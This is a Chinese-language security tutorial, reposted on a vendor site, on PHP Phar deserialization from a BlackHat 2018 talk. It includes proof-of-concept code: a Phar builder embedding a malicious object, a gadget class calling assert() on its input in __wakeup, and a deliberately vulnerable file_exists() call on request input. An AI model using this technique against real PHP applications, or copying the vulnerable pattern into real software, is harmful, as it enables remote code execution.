长亭百川云 - 文章详情

PHP反序列化漏洞新攻击面(BlackHat 2018) - magic_zero

博客园 - magic_zero

41

2024-07-19

0x00 前言

  入职以来好久没有写过文章了,入职的时间里也和师傅们学到了很多,认识了很多的新朋友。最近因为BlackHat 黑客大会的一个议题,PHP反序列化漏洞利用被挖掘出新的攻击面。这里本着记录学习的目的,有了这篇文章。

0x01 Phar 反序列化

  你看到本文,我默认认为你已经对PHP反序列化漏洞原理以及成因有所了解,如果不了解可以参考我之前的文章,这里就不多讲了。根据漏洞的原理,影响PHP反序列化漏洞利用的就一个函数unserialize(),这里所谓新的攻击面就是Phar协议解包时候触发的反序列化漏洞。

  首先生成Phar文件,扩展名可以自己定义。代码如下(phar.php):

<?php

require\_once('Evil.class.php');

$exception = new Evil('phpinfo()');

$phar = new Phar("vul.phar");

$phar\->startBuffering();

$phar\->addFromString("test.txt", "test");

$phar\->setStub("<?php\_\_HALT\_COMPILER(); ?>");

$phar\->setMetadata($exception);

$phar\->stopBuffering();

?>

Evil类的定义如下(Evil.class.php):

<?php

class Evil {
    
    protected $val;

    function \_\_construct($val)
    {
        $this\->val = $val;
    }

    function \_\_wakeup() {
        assert($this\->val);
    }
}

?>

在访问第一个文件(Phar.php)之后会生成一个文件名是vul.phar的文件,内容如下:

可以看到中间有序列化之后的字符。其实Phar在打包一个文件的时候是会对其进行序列化的。然后我们访问(test.php), 代码如下:

require\_once('Evil.class.php');

if ( file\_exists($\_REQUEST\['url'\]) ) {
    echo 'success!';
} else {
    echo 'error!';
}

访问结果如图:

 0x02 如何挖掘

从以上的实验中,我们可以得出一个结论,漏洞的利用条件有三点:

第一,存在反序列化的输入点,这里就是存在能够访问的phar归档文件;

第二,存在漏洞触发点,这里是存在类似file_exists这样的函数,并且文件名完整可控;

第三,存在能够利用的类。

其中第三点,我们很清楚,这是反序列化漏洞的必备条件,第二点则相当于原先的unserialize。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2